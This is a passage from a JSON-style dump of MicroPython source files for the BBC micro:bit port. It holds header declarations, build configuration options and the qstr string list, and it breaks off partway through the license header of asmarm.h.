bool compass_updating;\n\nextern const struct _microbit_compass_obj_t microbit_compass_obj;\n\nvoid microbit_compass_init(void);\n\n/****************************************************************/\n// microbit.accelerometer object\n\nextern volatile bool accelerometer_up_to_date;\nextern volatile bool accelerometer_updating;\n\nextern const mp_obj_type_t microbit_accelerometer_type;\nextern const struct _microbit_accelerometer_obj_t microbit_accelerometer_obj;\n\n//void microbit_accelerometer_event_handler(const MicroBitEvent *evt);\n\n/****************************************************************/\n// microbit.button objects\n\nextern const struct _microbit_button_obj_t microbit_button_a_obj;\nextern const struct _microbit_button_obj_t microbit_button_b_obj;\n\nvoid microbit_button_tick(void);\n\n/****************************************************************/\n// microbit.i2c, microbit.uart and microbit.spi objects\n\nextern const struct _microbit_i2c_obj_t microbit_i2c_obj;\nextern struct _microbit_uart_obj_t microbit_uart_obj;\nextern struct _microbit_spi_obj_t microbit_spi_obj;\n\n/****************************************************************/\n// declarations of microbit functions and methods\n\nMP_DECLARE_CONST_FUN_OBJ_0(microbit_reset_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_sleep_obj);\nMP_DECLARE_CONST_FUN_OBJ_0(microbit_random_obj);\nMP_DECLARE_CONST_FUN_OBJ_0(microbit_running_time_obj);\nMP_DECLARE_CONST_FUN_OBJ_0(microbit_temperature_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_panic_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_accelerometer_get_x_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_accelerometer_get_y_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_accelerometer_get_z_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_button_is_pressed_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_button_was_pressed_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_button_get_presses_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_compass_is_calibrated_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_compass_heading_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_compass_calibrate_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_compass_is_calibrating_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_compass_clear_calibration_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_compass_get_x_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_compass_get_y_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_compass_get_z_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_compass_get_field_strength_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(microbit_display_show_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(microbit_display_scroll_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_display_clear_obj);\nMP_DECLARE_CONST_FUN_OBJ_3(microbit_display_get_pixel_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_display_set_pixel_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_display_on_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_display_off_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_display_is_on_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_display_read_light_level_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_pin_read_digital_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(microbit_pin_write_digital_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_pin_read_analog_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(microbit_pin_write_analog_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_pin_is_touched_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(microbit_pin_set_analog_period_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(microbit_pin_set_analog_period_microseconds_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(microbit_i2c_init_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(microbit_i2c_read_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(microbit_i2c_write_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_image_width_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_image_height_obj);\nMP_DECLARE_CONST_FUN_OBJ_3(microbit_image_get_pixel_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_image_set_pixel_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(microbit_image_shift_left_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(microbit_image_shift_right_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(microbit_image_shift_up_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(microbit_image_shift_down_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_image_copy_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_image_crop_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_image_invert_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(microbit_uart_init_obj);\nMP_DECLARE_CONST_FUN_OBJ_1(microbit_uart_any_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(microbit_spi_init_obj);\nMP_DECLARE_CONST_FUN_OBJ_2(microbit_spi_write_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_spi_read_obj);\nMP_DECLARE_CONST_FUN_OBJ_3(microbit_spi_write_readinto_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(microbit_music_set_tempo_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(microbit_music_pitch_obj);\nMP_DECLARE_CONST_FUN_OBJ_KW(microbit_music_play_obj);\nMP_DECLARE_CONST_FUN_OBJ_0(microbit_music_get_tempo_obj);\nMP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(microbit_music_stop_obj);\nMP_DECLARE_CONST_FUN_OBJ_0(microbit_music_reset_obj);\nMP_DECLARE_CONST_FUN_OBJ_0(love_badaboom_obj);\nMP_DECLARE_CONST_FUN_OBJ_0(this_authors_obj);\n\n#endif // MICROPY_INCLUDED_MICROBIT_MODMICROBIT_H\n"
  },
  {
    "path": "micropython/inc/microbit/modmusic.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef MICROPY_INCLUDED_MICROBIT_MUSIC_H\n#define MICROPY_INCLUDED_MICROBIT_MUSIC_H\n\n#include \"py/objtuple.h\"\n\nextern const struct _mp_obj_tuple_t microbit_music_tune_dadadadum_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_entertainer_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_prelude_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_ode_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_nyan_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_ringtone_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_funk_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_blues_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_birthday_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_wedding_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_funeral_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_punchline_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_python_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_baddy_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_chase_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_ba_ding_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_wawawawaa_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_jump_up_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_jump_down_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_power_up_obj;\nextern const struct _mp_obj_tuple_t microbit_music_tune_power_down_obj;\n\nvoid microbit_music_tick(void);\n\n#endif // MICROPY_INCLUDED_MICROBIT_MUSIC_H\n"
  },
  {
    "path": "micropython/inc/microbit/mpconfigport.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014-2017 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdint.h>\n\n// Options to control how MicroPython is built, overriding defaults in py/mpconfig.h\n\n// object representation\n#define MICROPY_OBJ_REPR            (MICROPY_OBJ_REPR_C)\n\n// memory allocation policies\n#define MICROPY_ALLOC_GC_STACK_SIZE (32)\n#define MICROPY_ALLOC_PARSE_RULE_INIT (96)\n#define MICROPY_ALLOC_PARSE_RULE_INC (24)\n#define MICROPY_ALLOC_PATH_MAX      (64)\n#define MICROPY_QSTR_BYTES_IN_HASH  (1)\n\n// emitters\n#define MICROPY_EMIT_INLINE_THUMB   (1)\n#define MICROPY_EMIT_INLINE_THUMB_ARMV7M (0)\n#define MICROPY_EMIT_INLINE_THUMB_FLOAT (0)\n\n// compiler configuration\n#define MICROPY_USE_SMALL_HEAP_COMPILER (1)\n#define MICROPY_COMP_CONST          (0)\n#define MICROPY_COMP_DOUBLE_TUPLE_ASSIGN (0)\n#define MICROPY_COMP_TRIPLE_TUPLE_ASSIGN (0)\n\n// Python internal features\n#define MICROPY_ENABLE_GC           (1)\n#define MICROPY_STACK_CHECK         (1)\n#define MICROPY_KBD_EXCEPTION       (1)\n#define MICROPY_HELPER_REPL         (1)\n#define MICROPY_REPL_EMACS_KEYS     (1)\n#define MICROPY_REPL_AUTO_INDENT    (1)\n#define MICROPY_ENABLE_SOURCE_LINE  (1)\n#define MICROPY_ERROR_REPORTING     (MICROPY_ERROR_REPORTING_NORMAL)\n#define MICROPY_LONGINT_IMPL        (MICROPY_LONGINT_IMPL_MPZ)\n#define MICROPY_FLOAT_IMPL          (MICROPY_FLOAT_IMPL_FLOAT)\n#define MICROPY_PY_BUILTINS_COMPLEX (0)\n#define MICROPY_CPYTHON_COMPAT      (0)\n#define MICROPY_STREAMS_NON_BLOCK   (1)\n#define MICROPY_MODULE_BUILTIN_INIT (1)\n#define MICROPY_CAN_OVERRIDE_BUILTINS (1)\n\n// control over Python builtins\n#define MICROPY_PY_BUILTINS_STR_UNICODE (1)\n#define MICROPY_PY_BUILTINS_BYTEARRAY (1)\n#define MICROPY_PY_BUILTINS_MEMORYVIEW (0)\n#define MICROPY_PY_BUILTINS_ENUMERATE (1)\n#define MICROPY_PY_BUILTINS_FROZENSET (1)\n#define MICROPY_PY_BUILTINS_REVERSED (1)\n#define MICROPY_PY_BUILTINS_SET     (1)\n#define MICROPY_PY_BUILTINS_SLICE   (1)\n#define MICROPY_PY_BUILTINS_PROPERTY (0)\n#define MICROPY_PY_BUILTINS_INPUT   (1)\n#define MICROPY_PY_BUILTINS_HELP    (1)\n#define MICROPY_PY_BUILTINS_HELP_TEXT microbit_help_text\n#define MICROPY_PY_BUILTINS_HELP_MODULES (1)\n#define MICROPY_PY___FILE__         (0)\n#define MICROPY_PY_MICROPYTHON_MEM_INFO (1)\n#define MICROPY_PY_GC               (1)\n#define MICROPY_PY_ARRAY            (1)\n#define MICROPY_PY_ATTRTUPLE        (1)\n#define MICROPY_PY_COLLECTIONS      (1)\n#define MICROPY_PY_COLLECTIONS_ORDEREDDICT (1)\n#define MICROPY_PY_MATH             (1)\n#define MICROPY_PY_IO               (0)\n#define MICROPY_PY_STRUCT           (1)\n#define MICROPY_PY_SYS              (1)\n#define MICROPY_PY_SYS_PLATFORM     \"microbit\"\n#define MICROPY_PY_SYS_MODULES      (0)\n#define MICROPY_HAL_HAS_VT100       (0)\n\n// extended modules\n#define MICROPY_PY_UTIME_MP_HAL     (1)\n#define MICROPY_PY_MACHINE          (1)\n#define MICROPY_PY_MACHINE_PULSE    (1)\n\n// extra built in names to add to the global namespace\n#define MICROPY_PORT_BUILTINS \\\n    { MP_OBJ_NEW_QSTR(MP_QSTR_open), (mp_obj_t)&mp_builtin_open_obj }, \\\n\n// extra builtin modules to add to the list of known ones\nextern const struct _mp_obj_module_t microbit_module;\nextern const struct _mp_obj_module_t music_module;\nextern const struct _mp_obj_module_t this_module;\nextern const struct _mp_obj_module_t antigravity_module;\nextern const struct _mp_obj_module_t love_module;\nextern const struct _mp_obj_module_t neopixel_module;\nextern const struct _mp_obj_module_t random_module;\nextern const struct _mp_obj_module_t os_module;\nextern const struct _mp_obj_module_t radio_module;\nextern const struct _mp_obj_module_t audio_module;\nextern const struct _mp_obj_module_t speech_module;\nextern const struct _mp_obj_module_t utime_module;\nextern const struct _mp_obj_module_t machine_module;\n\n#define MICROPY_PORT_BUILTIN_MODULES \\\n    { MP_ROM_QSTR(MP_QSTR_microbit), MP_ROM_PTR(&microbit_module) }, \\\n    { MP_ROM_QSTR(MP_QSTR_music), MP_ROM_PTR(&music_module) }, \\\n    { MP_ROM_QSTR(MP_QSTR_this), MP_ROM_PTR(&this_module) }, \\\n    { MP_ROM_QSTR(MP_QSTR_antigravity), MP_ROM_PTR(&antigravity_module) }, \\\n    { MP_ROM_QSTR(MP_QSTR_love), MP_ROM_PTR(&love_module) }, \\\n    { MP_ROM_QSTR(MP_QSTR_neopixel), MP_ROM_PTR(&neopixel_module) }, \\\n    { MP_ROM_QSTR(MP_QSTR_random), MP_ROM_PTR(&random_module) }, \\\n    { MP_ROM_QSTR(MP_QSTR_os), MP_ROM_PTR(&os_module) }, \\\n    { MP_ROM_QSTR(MP_QSTR_radio), MP_ROM_PTR(&radio_module) }, \\\n    { MP_ROM_QSTR(MP_QSTR_audio), MP_ROM_PTR(&audio_module) }, \\\n    { MP_ROM_QSTR(MP_QSTR_speech), MP_ROM_PTR(&speech_module) }, \\\n    { MP_ROM_QSTR(MP_QSTR_utime), MP_ROM_PTR(&utime_module) }, \\\n    { MP_ROM_QSTR(MP_QSTR_machine), MP_ROM_PTR(&machine_module) }, \\\n    \\\n    /* the following provide aliases for existing modules */ \\\n    { MP_ROM_QSTR(MP_QSTR_collections), MP_ROM_PTR(&mp_module_collections) }, \\\n    { MP_ROM_QSTR(MP_QSTR_struct), MP_ROM_PTR(&mp_module_ustruct) }, \\\n    { MP_ROM_QSTR(MP_QSTR_time), MP_ROM_PTR(&utime_module) }, \\\n\n#define MP_STATE_PORT MP_STATE_VM\n\n#define MICROPY_PORT_ROOT_POINTERS \\\n    const char *readline_hist[8]; \\\n    void *async_data[2]; \\\n    uint8_t *radio_buf; \\\n    void *audio_buffer; \\\n    void *audio_source; \\\n    void *speech_data; \\\n    struct _music_data_t *music_data; \\\n\n// type definitions for the specific machine\n\n#define MICROPY_MAKE_POINTER_CALLABLE(p) ((void*)((mp_uint_t)(p) | 1))\n\ntypedef intptr_t mp_int_t; // must be pointer size\ntypedef uintptr_t mp_uint_t; // must be pointer size\ntypedef long mp_off_t;\n\nvoid mp_hal_stdout_tx_strn_cooked(const char *str, mp_uint_t len);\n#define MP_PLAT_PRINT_STRN(str, len) mp_hal_stdout_tx_strn_cooked(str, len)\n\n// We need to provide a declaration/definition of alloca()\n#include <alloca.h>\n\n#define MICROBIT_RELEASE \"1.0.1\"\n#define MICROBIT_BOARD_NAME \"micro:bit\"\n#define MICROPY_HW_BOARD_NAME MICROBIT_BOARD_NAME \" v\" MICROBIT_RELEASE\n#define MICROPY_HW_MCU_NAME \"nRF51822\"\n\n// Toolchain seems to be missing M_PI\n#ifndef M_PI\n#define M_PI (3.141592653589793)\n#endif\n"
  },
  {
    "path": "micropython/inc/microbit/mphalport.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n#ifndef __MICROPY_INCLUDED_MICROBIT_MPHALPORT_H__\n#define __MICROPY_INCLUDED_MICROBIT_MPHALPORT_H__\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid mp_hal_init(void);\n\nvoid mp_hal_set_interrupt_char(int c);\nint mp_hal_stdin_rx_any(void);\n\n// provide these since we don't assume VT100 support\nvoid mp_hal_move_cursor_back(unsigned int pos);\nvoid mp_hal_erase_line_from_cursor(unsigned int n_chars);\n\nvoid mp_hal_display_string(const char*);\n\n// MicroPython low-level C API for pins\n#include \"nrf_gpio.h\"\n#include \"microbit/modmicrobit.h\"\n#define mp_hal_pin_obj_t uint8_t\n#define mp_hal_get_pin_obj(o) microbit_obj_get_pin_name(o)\n#define mp_hal_pin_read(p) (int)nrf_gpio_pin_read(p)\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __MICROPY_INCLUDED_MICROBIT_MPHALPORT_H__\n"
  },
  {
    "path": "micropython/inc/microbit/qstrdefsport.h",
    "content": "// qstrs specific to this port\n\nQ(help)\nQ(input)\nQ(collections)\nQ(struct)\n\nQ(microbit)\nQ(reset)\nQ(sleep)\nQ(running_time)\nQ(panic)\nQ(temperature)\n\nQ(this)\nQ(authors)\n\nQ(antigravity)\n\nQ(love)\nQ(badaboom)\n\nQ(MicroBitDigitalPin)\nQ(MicroBitAnalogDigitalPin)\nQ(MicroBitTouchPin)\nQ(read_digital)\nQ(write_digital)\nQ(read_analog)\nQ(write_analog)\nQ(set_analog_period)\nQ(set_analog_period_microseconds)\nQ(get_analog_period_microseconds)\nQ(is_touched)\nQ(unused)\nQ(audio_play)\nQ(button)\nQ(touch)\nQ(3v)\nQ(get_mode)\n\nQ(MicroBitIO)\nQ(pin0)\nQ(pin1)\nQ(pin2)\nQ(pin3)\nQ(pin4)\nQ(pin5)\nQ(pin6)\nQ(pin7)\nQ(pin8)\nQ(pin9)\nQ(pin10)\nQ(pin11)\nQ(pin12)\nQ(pin13)\nQ(pin14)\nQ(pin15)\nQ(pin16)\nQ(pin19)\nQ(pin20)\nQ(get_pull)\nQ(set_pull)\nQ(PULL_UP)\nQ(PULL_DOWN)\nQ(NO_PULL)\n\nQ(MicroBitImage)\nQ(Image)\nQ(image)\nQ(width)\nQ(height)\nQ(invert)\nQ(fill)\nQ(set_pixel)\nQ(get_pixel)\nQ(shift_left)\nQ(shift_right)\nQ(shift_up)\nQ(shift_down)\nQ(monospace)\nQ(blit)\nQ(HEART)\nQ(HEART_SMALL)\nQ(HAPPY)\nQ(SAD)\nQ(SMILE)\nQ(CONFUSED)\nQ(ANGRY)\nQ(ASLEEP)\nQ(SURPRISED)\nQ(SILLY)\nQ(FABULOUS)\nQ(MEH)\nQ(YES)\nQ(NO)\nQ(CLOCK12)\nQ(CLOCK1)\nQ(CLOCK2)\nQ(CLOCK3)\nQ(CLOCK4)\nQ(CLOCK5)\nQ(CLOCK6)\nQ(CLOCK7)\nQ(CLOCK8)\nQ(CLOCK9)\nQ(CLOCK10)\nQ(CLOCK11)\nQ(ARROW_N)\nQ(ARROW_NE)\nQ(ARROW_E)\nQ(ARROW_SE)\nQ(ARROW_S)\nQ(ARROW_SW)\nQ(ARROW_W)\nQ(ARROW_NW)\nQ(TRIANGLE)\nQ(TRIANGLE_LEFT)\nQ(CHESSBOARD)\nQ(DIAMOND)\nQ(DIAMOND_SMALL)\nQ(SQUARE)\nQ(SQUARE_SMALL)\nQ(RABBIT)\nQ(COW)\nQ(MUSIC_CROTCHET)\nQ(MUSIC_QUAVER)\nQ(MUSIC_QUAVERS)\nQ(PITCHFORK)\nQ(XMAS)\nQ(PACMAN)\nQ(TARGET)\nQ(TSHIRT)\nQ(ROLLERSKATE)\nQ(DUCK)\nQ(HOUSE)\nQ(TORTOISE)\nQ(BUTTERFLY)\nQ(STICKFIGURE)\nQ(GHOST)\nQ(SWORD)\nQ(GIRAFFE)\nQ(SKULL)\nQ(UMBRELLA)\nQ(SNAKE)\n\nQ(ALL_ARROWS)\nQ(ALL_CLOCKS)\n\nQ(MicroBitDisplay)\nQ(set_brightness)\nQ(set_display_mode)\nQ(display)\nQ(show)\nQ(scroll)\nQ(delay)\nQ(stride)\nQ(start)\nQ(wait)\nQ(loop)\nQ(copy)\nQ(crop)\nQ(slice)\nQ(text)\nQ(SlicedImage)\nQ(ScrollingString)\nQ(on)\nQ(off)\nQ(is_on)\nQ(Facade)\n\nQ(MicroBitButton)\nQ(button_a)\nQ(button_b)\nQ(is_pressed)\nQ(was_pressed)\nQ(get_presses)\n\nQ(MicroBitAccelerometer)\nQ(accelerometer)\nQ(get_x)\nQ(get_y)\nQ(get_z)\nQ(get_values)\nQ(current_gesture)\nQ(is_gesture)\nQ(was_gesture)\nQ(get_gestures)\nQ(up)\nQ(down)\nQ(left)\nQ(right)\nQ(face up)\nQ(face down)\nQ(freefall)\nQ(3g)\nQ(6g)\nQ(8g)\nQ(shake)\n\nQ(MicroBitCompass)\nQ(compass)\nQ(heading)\nQ(is_calibrated)\nQ(calibrate)\nQ(clear_calibration)\nQ(get_x)\nQ(get_y)\nQ(get_z)\nQ(get_field_strength)\n\nQ(MicroBitI2C)\nQ(i2c)\nQ(read)\nQ(write)\nQ(addr)\nQ(n)\nQ(buf)\nQ(repeat)\nQ(freq)\nQ(sda)\nQ(scl)\n\nQ(music)\nQ(frequency)\nQ(duration)\nQ(pitch)\nQ(pin)\nQ(play)\nQ(set_tempo)\nQ(get_tempo)\nQ(bpm)\nQ(ticks)\nQ(BADDY)\nQ(BA_DING)\nQ(BIRTHDAY)\nQ(BLUES)\nQ(CHASE)\nQ(DADADADUM)\nQ(ENTERTAINER)\nQ(FUNERAL)\nQ(FUNK)\nQ(JUMP_DOWN)\nQ(JUMP_UP)\nQ(NYAN)\nQ(ODE)\nQ(POWER_DOWN)\nQ(POWER_UP)\nQ(PRELUDE)\nQ(PUNCHLINE)\nQ(PYTHON)\nQ(RINGTONE)\nQ(WAWAWAWAA)\nQ(WEDDING)\nQ(a)\nQ(a#)\nQ(a#:1)\nQ(a#:3)\nQ(a2)\nQ(a4)\nQ(a4:1)\nQ(a4:3)\nQ(a:1)\nQ(a:2)\nQ(a:4)\nQ(a:5)\nQ(b)\nQ(b2:1)\nQ(b3)\nQ(b4)\nQ(b4:1)\nQ(b4:2)\nQ(b5)\nQ(b5:1)\nQ(b:1)\nQ(b:2)\nQ(c)\nQ(c#)\nQ(c#5)\nQ(c#5:1)\nQ(c#5:2)\nQ(c#:1)\nQ(c#:8)\nQ(c2:2)\nQ(c3)\nQ(c3:3)\nQ(c3:4)\nQ(c4)\nQ(c4:1)\nQ(c4:3)\nQ(c4:4)\nQ(c5)\nQ(c5:1)\nQ(c5:2)\nQ(c5:3)\nQ(c5:4)\nQ(c:1)\nQ(c:2)\nQ(c:3)\nQ(c:4)\nQ(c:8)\nQ(d)\nQ(d#)\nQ(d#5:2)\nQ(d#:2)\nQ(d#:3)\nQ(d3)\nQ(d4)\nQ(d4:1)\nQ(d5)\nQ(d5:1)\nQ(d5:2)\nQ(d:1)\nQ(d:2)\nQ(d:3)\nQ(d:4)\nQ(d:5)\nQ(d:6)\nQ(d:8)\nQ(e)\nQ(e3:3)\nQ(e4)\nQ(e4:1)\nQ(e5)\nQ(e6:3)\nQ(e:1)\nQ(e:2)\nQ(e:3)\nQ(e:4)\nQ(e:5)\nQ(e:6)\nQ(e:8)\nQ(eb:8)\nQ(f)\nQ(f#)\nQ(f#5)\nQ(f#5:2)\nQ(f#:1)\nQ(f#:2)\nQ(f#:8)\nQ(f2)\nQ(f:1)\nQ(f:2)\nQ(f:3)\nQ(f:4)\nQ(f:8)\nQ(g)\nQ(g#)\nQ(g#:1)\nQ(g#:3)\nQ(g3:1)\nQ(g4)\nQ(g4:1)\nQ(g4:2)\nQ(g5)\nQ(g5:1)\nQ(g:1)\nQ(g:2)\nQ(g:3)\nQ(g:8)\nQ(r)\nQ(r4:2)\nQ(r:1)\nQ(r:2)\nQ(r:3)\n\nQ(MicroBitUART)\nQ(uart)\nQ(init)\nQ(baudrate)\nQ(bits)\nQ(parity)\nQ(stop)\nQ(pins)\nQ(tx)\nQ(rx)\nQ(any)\nQ(read)\nQ(readall)\nQ(readline)\nQ(readinto)\nQ(write)\nQ(ODD)\nQ(EVEN)\n\nQ(MicroBitSPI)\nQ(spi)\nQ(init)\nQ(baudrate)\nQ(bits)\nQ(mode)\nQ(sclk)\nQ(mosi)\nQ(miso)\nQ(write)\nQ(write_readinto)\n\nQ(neopixel)\nQ(NeoPixel)\nQ(clear)\nQ(show)\n\nQ(random)\nQ(getrandbits)\nQ(seed)\nQ(randrange)\nQ(randint)\nQ(choice)\nQ(uniform)\n\nQ(audio)\nQ(play)\nQ(AudioFrame)\nQ(pin)\nQ(return_pin)\nQ(source)\nQ(copyfrom)\n\nQ(name)\n\nQ(os)\nQ(uname)\nQ(micropython)\nQ(sysname)\nQ(nodename)\nQ(release)\nQ(version)\nQ(BytesIO)\nQ(TextIO)\nQ(read)\nQ(write)\nQ(writable)\nQ(readall)\nQ(name)\nQ(listdir)\nQ(machine)\nQ(size)\n\nQ(is_playing)\n\nQ(speech)\nQ(say)\nQ(pronounce)\nQ(sing)\nQ(pitch)\nQ(throat)\nQ(mouth)\nQ(speed)\nQ(debug)\nQ(translate)\n\nQ(radio)\nQ(reset)\nQ(config)\nQ(on)\nQ(off)\nQ(send_bytes)\nQ(receive_bytes)\nQ(send)\nQ(receive)\nQ(receive_bytes_into)\nQ(receive_full)\nQ(length)\nQ(queue)\nQ(channel)\nQ(power)\nQ(data_rate)\nQ(address)\nQ(group)\nQ(RATE_250KBIT)\nQ(RATE_1MBIT)\nQ(RATE_2MBIT)\n"
  },
  {
    "path": "micropython/inc/py/asmarm.h",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2014 Fabian Vogt\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * 